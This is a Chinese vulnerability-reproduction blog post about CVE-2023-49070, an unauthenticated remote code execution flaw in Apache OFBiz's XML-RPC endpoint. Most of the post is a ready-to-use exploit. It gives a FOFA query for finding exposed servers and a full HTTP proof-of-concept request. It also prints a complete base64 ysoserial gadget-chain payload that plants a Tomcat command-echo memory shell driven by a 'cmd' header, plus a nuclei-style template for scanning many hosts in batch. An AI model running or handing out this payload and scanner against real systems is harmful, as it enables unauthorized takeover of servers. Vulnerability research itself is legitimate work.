漏洞复现--Apache Ofbiz XML-RPC RCE(CVE-2023-49070)

免责声明:

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

一:漏洞描述

近日,亚信安全CERT监控到Apache OFBiz发布更新公告,修复了Apache OFBiz中的一个未授权远程代码执行(CVE-2023-49070)。该漏洞源于Apache OFBiz中存在不再维护的XML-RPC组件。XML-RPC是一种远程过程调用协议,它支持应用程序之间通过XML进行通信。虽然XML-RPC曾经被广泛使用,但由于安全问题,它已被弃用。Apache OFBiz中此过时组件的存在引入了一个严重漏洞。利用该漏洞攻击者可以在受影响的Apache OFBiz服务器上执行任意代码,而无需事先进行任何身份验证。

二:漏洞影响版本

Apache Ofbiz XML-RPC

三:网络空间测绘查询

fofa:
app="Apache_OFBiz"
image.png

四:漏洞复现

POC:

POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 4242<?xml version="1.0"?>
<methodCall><methodName>RCE</methodName><params><param><value><struct><member><name>RCE</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">【JAVAPAYLOAD利用链】</serializable></value></member></struct></value></param></params>
</methodCall>

使用CB129NOCC链生成base64加密代码,替换【JAVAPAYLOAD利用链】内容
image.png
image.png
收到DNS解析记录
image.png
回显内存马
使用ysoserial生成回显内存马并base64编码
image.png
完成回显内存马POC:

POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd:id
Content-Length: 8906<?xml version="1.0"?>
<methodCall><methodName>RCE</methodName><params><param><value><struct><member><name>RCE</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">   rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAFK3K/rq+AAAAMwEFCgBFAIkKAIoAiwoAigCMCgAdAI0IAHoKABsAjgoAjwCQCgCPAJEHAHsKAIoAkggAkwoAIACUCACVCACWBwCXCACYCABYBwCZCgAbAJoIAJsIAHAHAJwLABYAnQsAFgCeCABnCACfBwCgCgAbAKEHAKIKAKMApAgApQcApggApwoAIACoCACpCQAlAKoHAKsKACUArAgArQoArgCvCgAgALAIALEIALIIALMIALQIALUHALYHALcKADAAuAoAMAC5CgC6ALsKAC8AvAgAvQoALwC+CgAvAL8KACAAwAgAwQoAGwDCCgAbAMMIAMQHAGQKABsAxQgAxgcAxwgAyAgAyQcAygcBAwcAzAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAsTHlzb3NlcmlhbC9wYXlsb2Fkcy90ZW1wbGF0ZXMvVG9tY2F0Q21kRWNobzsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAzQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBAANjbHMBABFMamF2YS9sYW5nL0NsYXNzOwEABHZhcjUBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAAltCAQAJcHJvY2Vzc29yAQASTGphdmEvbGFuZy9PYmplY3Q7AQADcmVxAQAEcmVzcAEAAWoBAAFJAQABdAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAA3N0cgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA29iagEACnByb2Nlc3NvcnMBABBMamF2YS91dGlsL0xpc3Q7AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQABaQEABGZsYWcBAAFaAQAFZ3JvdXABABdMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsBAA1TdGFja01hcFRhYmxlBwDOBwDPBwDQBwCmBwCiBwCZBwCcBwBiBwDHBwDKAQAKU291cmNlRmlsZQEAElRvbWNhdENtZEVjaG8uamF2YQwARgBHBwDQDADRANIMANMA1AwA1QDWDADXANgHAM8MANkA2gwA2wDcDADdAN4BAARleGVjDADfAOABAARodHRwAQAGdGFyZ2V0AQASamF2YS9sYW5nL1J1bm5hYmxlAQAGdGhpcyQwAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uDADhANYBAAZnbG9iYWwBAA5qYXZhL3V0aWwvTGlzdAwA4gDjDADbAOQBAAtnZXRSZXNwb25zZQEAD2phdmEvbGFuZy9DbGFzcwwA5QDmAQAQamF2YS9sYW5nL09iamVjdAcA5wwA6ADpAQAJZ2V0SGVhZGVyAQAQamF2YS9sYW5nL1N0cmluZwEAA2NtZAwA6gDrAQAJc2V0U3RhdHVzDADsAF4BABFqYXZhL2xhbmcvSW50ZWdlcgwARgDtAQAHb3MubmFtZQcA7gwA7wDwDADxAN4BAAN3aW4BAAdjbWQuZXhlAQACL2MBAAkvYmluL2Jhc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyDABGAPIMAPMA9AcA9QwA9gD3DABGAPgBAAJcQQwA+QD6DAD7AN4MAPwA/QEAJG9yZy5hcGFjaGUudG9tY2F0LnV0aWwuYnVmLkJ5dGVDaHVuawwA/gD/DAEAAQEBAAhzZXRCeXRlcwwBAgDmAQAHZG9Xcml0ZQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BABNqYXZhLm5pby5CeXRlQnVmZmVyAQAEd3JhcAEAE2phdmEvbGFuZy9FeGNlcHRpb24BACp5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL1RvbWNhdENtZEVjaG8BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAVamF2YS9sYW5nL1RocmVhZEdyb3VwAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEADWdldFN1cGVyY2xhc3MBAARzaXplAQADKClJAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAB2lzRW1wdHkBAAMoKVoBAARUWVBFAQAEKEkpVgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALdG9Mb3dlckNhc2UBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0RGVjbGFyZWRNZXRob2QBADh5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL1RvbWNhdENtZEVjaG8yODk5NDAyNzkyMzQwMAEAOkx5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL1RvbWNhdENtZEVjaG8yODk5NDAyNzkyMzQwMDsAIQBEAEUAAAAAAAQAAQBGAEcAAQBIAAAALwABAAEAAAAFKrcAAbEAAAACAEkAAAAGAAEAAAAJAEoAAAAMAAEAAAAFAEsBBAAAAAEATQBOAAIASAAAAD8AAAADAAAAAbEAAAACAEkAAAAGAAEAAABXAEoAAAAgAAMAAAABAEsBBAAAAAAAAQBPAFAAAQAAAAEAUQBSAAIAUwAAAAQAAQBUAAEATQBVAAIASAAAAEkAAAAEAAAAAbEAAAACAEkAAAAGAAEAAABcAEoAAAAqAAQAAAABAEsBBAAAAAAAAQBPAFAAAQAAAAEAVgBXAAIAAAABAFgAWQADAFMAAAAEAAEAVAAIAFoARwABAEgAAAXVAAgAEQAAAv0DO7gAArYAA0wrtgAEEgW2AAZNLAS2AAcsK7YACMAACcAACU4DNgQVBC2+ogLNLRUEMjoFGQXHAAanArkZBbYACjoGGQYSC7YADJoADRkGEg22AAyaAAanApsZBbYABBIOtgAGTSwEtgAHLBkFtgAIOgcZB8EAD5oABqcCeBkHtgAEEhC2AAZNLAS2AAcsGQe2AAg6BxkHtgAEEhG2AAZNpwAWOggZB7YABLYAE7YAExIRtgAGTSwEtgAHLBkHtgAIOgcZB7YABLYAExIUtgAGTacAEDoIGQe2AAQSFLYABk0sBLYABywZB7YACDoHGQe2AAQSFbYABk0sBLYABywZB7YACMAAFsAAFjoIAzYJFQkZCLkAFwEAogHLGQgVCbkAGAIAOgoZCrYABBIZtgAGTSwEtgAHLBkKtgAIOgsZC7YABBIaA70AG7YAHBkLA70AHbYAHjoMGQu2AAQSHwS9ABtZAxIgU7YAHBkLBL0AHVkDEiFTtgAewAAgOgYZBsYBVxkGtgAimgFPGQy2AAQSIwS9ABtZA7IAJFO2ABwZDAS9AB1ZA7sAJVkRAMi3ACZTtgAeVxInuAAotgApEiq2AAyZABkGvQAgWQMSK1NZBBIsU1kFGQZTpwAWBr0AIFkDEi1TWQQSLlNZBRkGUzoNuwAvWbsAMFkZDbcAMbYAMrYAM7cANBI1tgA2tgA3tgA4Og4SObgAOjoPGQ+2ADs6BxkPEjwGvQAbWQMSPVNZBLIAJFNZBbIAJFO2AD4ZBwa9AB1ZAxkOU1kEuwAlWQO3ACZTWQW7ACVZGQ6+twAmU7YAHlcZDLYABBI/BL0AG1kDGQ9TtgAcGQwEvQAdWQMZB1O2AB5XpwBOOg8SQbgAOjoQGRASQgS9ABtZAxI9U7YAPhkQBL0AHVkDGQ5TtgAeOgcZDLYABBI/BL0AG1kDGRBTtgAcGQwEvQAdWQMZB1O2AB5XBDsamQAGpwAJhAkBp/4vGpkABqcAEacACDoFpwADhAQBp/0ypwAES7EACACVAKAAowASAMMA0QDUABICEwKGAokAQAAuADkC7QBDADwAVwLtAEMAWgB6Au0AQwB9AucC7QBDAAAC+AL7AEMAAwBJAAAA/gA/AAAADQACAA4ACQAPABMAEAAYABEAJAASAC4AFAA0ABUAPAAWAEMAFwBaABgAZQAZAGoAGgByABsAfQAcAIgAHQCNAB4AlQAgAKAAIwCjACEApQAiALYAJAC7ACUAwwAnANEAKgDUACgA1gApAOEAKwDmACwA7gAtAPkALgD+AC8BDAAwARsAMQEmADIBMQAzATYANAE+ADUBVwA2AX0ANwGKADgBtQA5AfAAOgITADwCGgA9AiEAPgJkAD8ChgBEAokAQAKLAEECkgBCArIAQwLUAEUC1gBHAt0AMALjAEkC6gBMAu0ASgLvAEsC8gASAvgAUAL7AE8C/ABRAEoAAADUABUApQARAFsAXAAIANYACwBbAFwACAIaAGwAXQBeAA8CkgBCAF0AXgAQAosASQBfAGAADwHwAOYAYQBiAA0CEwDDAGMAZAAOASYBtwBlAGYACgE+AZ8AZwBmAAsBVwGGAGgAZgAMAQ8B1ABpAGoACQA0ArYAawBsAAUAQwKnAG0AbgAGAHICeABvAGYABwEMAd4AcABxAAgC7wADAFsAcgAFACcC0QBzAGoABAACAvYAdAB1AAAACQLvAHYAdwABABMC5QB4AHkAAgAkAtQAegB7AAMAfAAAAKgAF/8AJwAFAQcAfQcAfgcACQEAAPwAFAcAf/wAGgcAgAL8ACIHAIFlBwCCEl0HAIIM/QAtBwCDAf4AywcAgQcAgQcAgVIHAIT/AJoADwEHAH0HAH4HAAkBBwB/BwCABwCBBwCDAQcAgQcAgQcAgQcAhAcAPQABBwCF+wBK+QAB+AAG+gAF/wAGAAUBBwB9BwB+BwAJAQAAQgcAhgT/AAUAAAAAQgcAhgAAAQCHAAAAAgCIdXEAfgAQAAAB1Mr+ur4AAAAzABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAMcADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AAhSQ0JRQVBNUXB3AQB4cQB+AA14</serializable></value></member></struct></value></param></params>
</methodCall>

image.png

五:批量检测

id: Apache-Ofbiz-XML-RPC-RCEinfo:name: Apache-Ofbiz-XML-RPC-RCEauthor: 芝士土拨鼠severity: highdescription: Apache OFBiz中此过时组件的存在引入了一个严重漏洞。利用该漏洞攻击者可以在受影响的Apache OFBiz服务器上执行任意代码,而无需事先进行任何身份验证。requests:- raw:- |-POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1Host: {{Hostname}}Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: closecmd:idContent-Length: 8906<?xml version="1.0"?><methodCall><methodName>RCE</methodName><params><param><value><struct><member><name>RCE</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">   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